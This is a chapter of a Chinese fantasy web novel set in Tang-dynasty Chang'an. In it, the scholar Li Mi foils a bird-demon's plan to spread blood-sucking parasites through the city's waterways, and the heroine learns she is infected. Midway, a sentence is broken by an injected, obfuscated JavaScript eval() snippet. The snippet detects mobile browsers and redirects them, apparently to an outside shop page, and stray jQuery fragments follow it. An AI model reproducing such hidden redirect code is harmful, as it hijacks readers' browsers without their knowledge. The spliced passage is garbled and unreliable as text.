李郎中马上拿出小夹子,夹住小黑虫,装进琉璃瓶里。
李郎中在火光下仔细看瓶中小黑虫,点头道:“汲血虫,厨娘罗樱就死于这种寄生毒虫。五年前东平侯的燕夫人,和两年前的佟夫人,应该也死于这种毒虫吧?”
李郎中说着看向曹阿婆。
曹阿婆脸上绽出阴冷的笑意,“无可奉告!”
“你们处心积虑,一再打东平侯府的主意,就是想在这池塘里,培植更多汲血虫,以图祸乱长安?”
曹阿婆从牙缝里挤出一句:“就你自以为聪明!”
“这池塘,在八卦方位中,正处于长安城东部‘水眼’的位置,你们想在水眼中培植出更多汲血虫,等汲血虫适应了长安的气侯,便会顺利繁殖出成千上万只,然后会顺着这水塘的地下,进入周围的水渠,进而扩散到整个长安水系中。到时,长安城就真的在你等的掌握之中了。”
曹阿婆愣了一下,愤恨道:“是啊,如此宏伟完美的计划,就因为你们,才功亏一溃!”
东平侯上前一步,“既然有如此宏伟的计划,就不可能只由你和几个小喽啰能完成,你后面还有什么人?”
“哈哈,你想知道,老娘为什么要告诉你?”曹阿婆吐出一口血渣,仰头骄傲道,“我们的宏伟大业,将如同大唐绚烂的夜空,会照亮我们族群的前程。越是伟大的梦想,越需要前面有人铺路,后面的人才能一步步接近终点!前仆后继,才能最终取得胜利!光明神千秋万代!”
老太婆突然身后再次生出翅膀,急速向夜空中飞去。
同时,东平侯的长剑也迎翅赶上,一道剑光后,夜空中纷纷扬扬飘起如雪的黑羽,遮住众人的视线。
这是域外老斑鸠脱羽自救的方式,但仍秃着翅膀坚决向东飞逃。
东平侯再次腾空而起,持剑向那大鸟刺去——
李郎中大喊:“留活口!”
但太晚了,曹阿婆不知是誓死如归,还是想同归于尽,一双尖喙在奔逃中,竟回头迎剑啄向东平侯——但显然尖喙不够长,长剑已刺中她的胸膛时,它的长喙却还差几寸才能击中东平侯。
曹阿婆瞬间变成人形,低头看着自己胸膛流下暗红的血,眼神无比凶悍,手中突然生出圆月刀,拼尽全力向东平侯削去——
此时,又一阵“咔、咔”之声,镇妖器里一束蓝光又射来,曹阿婆马上跌落下来,变成一只老斑鸠,扑腾了一下翅膀,就口吐鲜血,气绝身亡。
李郎中走过去,叹了口气,“可惜了,就这么死了,汲血虫的线索可就断了。”
阿锦很快知道,这位李郎中,就是大唐最为神秘的奇人李泌,也是当今皇室宗亲。李泌少年时就表现出惊人的聪慧,九岁时就在大明宫声名雀起,长大后更因才学广博,成为授招翰林,后又供奉在东宫,成为太子舍人。
因他天生不喜做官,又道学深厚,不久就辞官云游,一直在恒山、嵩山和终南山出没,观天测地,绘制星相图,并访仙寻道,过着清心寡欲闲云野鹤般的神仙生活。
但大唐天子与太子始终惦念着这位博学聪慧的本家,自然不肯放任本家的贤能逍遥于山林之中。尤其是大唐尊道教为国教,与关心轮回、塑造金身的佛教不同,道教信徒们在泥塑三清的注视下,更注重研究大自然的奥秘,天文地理、漏刻、历法,尤其热衷观测星相,并在山川河流中,鼓捣药草医学,修仙长生。
于是天子就下了密诏,让李泌继续在山林服务于大唐的太史监,肩负起修正大唐历法、校准漏刻、国忌,并绘制天宇星相图的责任。
这还不够,不久,天子又成立了一个秘密机构衡夜司,也交于李泌负责,用来监控长安城内几百处泉塘湖池,和环绕长安的八大水系,以及周围的河流沟洫、山泽草木。
于是盛大的长安城,便在衡夜司和工部的虞部司、水部司,以及礼部的祠部司,这几方密网般的监视下,国泰民安,歌舞升平。
大唐也更加蒸蒸日上,海宴河清。
但没想到,纵然如此严密的监控,仍有宵小势力在悄悄渗透进长安的“水眼”——东平侯府。
长安城原名大兴城,本是隋朝开皇杨坚令宇文恺所建。宇文恺乃胡人旧部,根据晋城和《周易》乾卦,周密布局建城后,新城却暴露出命理的缺陷。
原来宇文恺以长安正北为中心,在对应北天中央紫薇星的位置,用乾卦中爻辞“见龙在田”的方位,为隋文帝修建了人间帝王的宫殿:太极宫。
但太极宫并不适宜居住,夏天潮湿闷热,居住久了,会损及阳寿,也是间接损及大隋的寿命。因此有传闻,这是宇文恺有意把大隋皇帝困在太极宫里。
到本朝太宗皇帝时,便在城市原有基础上,重新做了修正,改成以龙首源为中心,这样中天紫薇星的对应之地,便被校正为凉爽舒适的龙首源,也就是如今大明宫的位置。这就解了大隋在命理上的困局。
在校正城市乾卦方位的过程中,也在长安城东的“青龙”区域,重新设置了“水眼”,正对应中天紫薇垣“风眼”的位置。此水眼,就是东平侯府后花园的水塘。
此水塘,在地下与城内四通八达的河渠泉池相通,它对长安城的重要性犹如关中大地的潼关,一旦潼关被攻破,关中可谓门户大开,兵锋将长驱直入;同理,东平侯府的水眼一旦失守,地下水道也门户洞开,同样会危及整个长安城。
所以当今天子令李泌秘密成立衡夜司,也是有意在三省六部二十四司之外,特意成立这个秘密机构,来看守长安的水系门户。
因此李必和衡夜司一直享有特殊、超然的地位,连大理寺也退让三分。
也难怪阿锦在药铺后院里初见李郎中时,就倍觉亲切,如见故人;在大理寺受审时,也觉得屏风后面一定有自己见过的人。现在才意识到他就是自己一直寻找的师傅。
阿锦是在第二天,师傅过来给她诊脉时,相认的。
当她看到一脸正气的师傅,就在自己眼前时,不禁热泪盈眶,高山仰止。
“师傅,我一直在找您。”
师傅点点头,“锦玥,受苦了。”
“锦玥?”
“你本名锦玥,玥是闪闪发光的明珠。但阿锦也好听。”
李泌仔细为阿锦诊断了尺、寸、关三脉,沉思片刻,尽量大事化小道:“暂无大碍,先按时吃药调理吧。”
阿锦松了一口气,“请师傅为我开启灵智,我这样人不人、妖不妖的,没办法保护自己。”
师傅却沉默片刻道:“暂且还不能,先慢慢治病吧。”
阿锦察觉出异样,“师傅,为什么?”
师傅犹豫了一下,叹口气,“因为你体内有汲血虫。你究竟吃了老斑鸠多少药?”
阿锦顿时脸色煞白,感情过去十天,自己每天晚上等着吃的,都是要自己命的毒虫?她一下子想到死去的罗厨娘,连忙把剩余的两粒黑色药丸拿出来,给师傅看。
李泌接过来,仔细端详,然后取出一只琉璃瓶子,装了进去。
“这应该是汲血虫的卵。若开启你的灵智,这些虫卵将永远寄居在你体内,你将生不如死。”
阿锦仿若掉进了冰窖,心里害怕极了,“师傅,怎么会这样?救我!”
师傅一直保持着温和平静的语气,“汲血虫我还没找到医治的方法,只能等它们蜕了壳,自己孵化出来,成为虫,在血脉里游走时,才能发现、清理。”
阿锦一听就急了,“那我身体里岂不是有十只…….”想想,东平侯已帮自己在胳膊上取了一只,“九只汲血虫卵?”
“有七只。”李泌纠正。
对,那天夜里,东平侯在自己小腿上也取了,这样说是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275436|198220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
取了两只。
“师傅,那我,是不是随时会死?”
李泌犹豫了一下,“若能提前发现,及时把汲血虫取出来,应该不会有事。以后你要时刻注意,发现就摇铃求救。”
师傅给了她一只小铜铃。那小铜铃古朴精致,铜壁泛着漫长岁月的绿迹,据说是三清道人所铸,能传音千里。
但阿锦还是恐惧,自己依然命悬一线啊,而且将有七次命悬一线的关口。怪不得曹老婆子死前咒骂自己说活不了多久,哪一次没及时取出,自己都会死翘翘的。
“师傅,曹阿婆为什么要害我?”
“不是你,也会是别人,只是正巧你赶上了。域外老班鸠这一伙人,多年前来过长安,曾无意间看到了长安城水系图,知道侯府里的池塘,正是按《周易》乾卦在东部设的水眼,他们便有了先夺取水眼,再夺取长安城的想法。他们为此部署了很久,又想尽办法与东平侯府搭上关系。他们很聪明,选择利用姻缘嫁娶从内部进入侯府,慢慢渗透,以方便在后花园的水塘里秘密豢养培植那些汲血虫。”
阿锦不解,“她们培植汲血虫,可为什么要杀死东平侯前两任夫人?”
李泌也摇摇头,“这也是我一直费解的地方。姑且猜之,汲血虫初来长安,水土不服,没有培植成功,又恐怕计谋泄露吧?但在你遇到老斑鸠时,她们的计谋已然成熟,汲血虫应该也适应了在长安繁殖,她只需找一个能去侯府冲喜的女子便可。于是,你就恰好出现在她面前,才被卷进这场风波里来。”
原来如此。
阿锦又问起东平侯,“如果东平侯也是冒充的,那以前的东平侯呢?”
师傅说,东平侯祖上对大唐有功,东平侯本人也热衷军营生崖,少年时就出入边疆,后来突然生了面疾,回长安后,就一直生病,因陛下关切,一直由太医署的御医们照料,只是早已秘密搬离了东平侯府。
看师傅欲言又止的样子,阿锦知道这应该是衡夜司与东平侯府共谋的一出戏,由李泽秘密调换了东平侯,将计就计捉住域外老斑鸠一伙歹人而已,只是不便说给自己听。
知道了事情的整个原委,阿锦也就明白了,整个衡夜司就是为保护长安城的水系而存在的,可能连自己也是这计划的一部分吧。只是自己中了汲血虫,不知哪天会倒下,现在也只能活一天算一天吧。
接下来,阿锦便郁郁寡欢地回到侯府养病,毕竟对外,她依然是侯府夫人。只是真正的东平侯早被悄悄转移到了别的地方,假的东平侯也回衡夜司了。
阿锦知道自己不属于东平侯府,可能师傅不忍心看着自己是将死之人,郁郁寡终,才给了自己优渥的临终关怀吧。
但也不能眼睁睁等死啊,毕竟看过长安的繁华,能有一线机会活着,总要争取的。
于是她有时间便去师傅在小河边的药铺走一走,一是能和师傅的其他弟子们聊聊天;二来,自己身上万一出现汲血虫,也有人能尽快救自己。
至于那个千里传音铃,小小的一枚,她有点将信将疑,信不过。
于是在和药铺学徒的聊天中,她知道了近日师傅繁忙,日夜来往于大理寺和大明宫之间,几乎脚不连地。李泽、承安和不良人秦五则忙于清除侯府后花园和周围水渠渗出的汲血虫,现在看到他们是不可能的。
在一个百无聊赖的晚上,阿锦回到侯府的寝室休息,一不留神摇动了那只传音铃,小小清脆的铃音,在空气中竟如水波中的涟漪,层层叠叠传递出去,能感觉到那股亘古幽远和穿透力。
阿锦在愣神间,突然听到有马蹄声急促而来,窗前闪过一个高挑的身影,一股熟悉的男性气息扑面而来,他戴着深色遮颜帽,疾步到榻前,也不看自己,一把掀开自己身上的薄锦——
阿锦本能身体缩了缩,雪白的小腿和手臂都裸露了出来,总要遮掩一下的。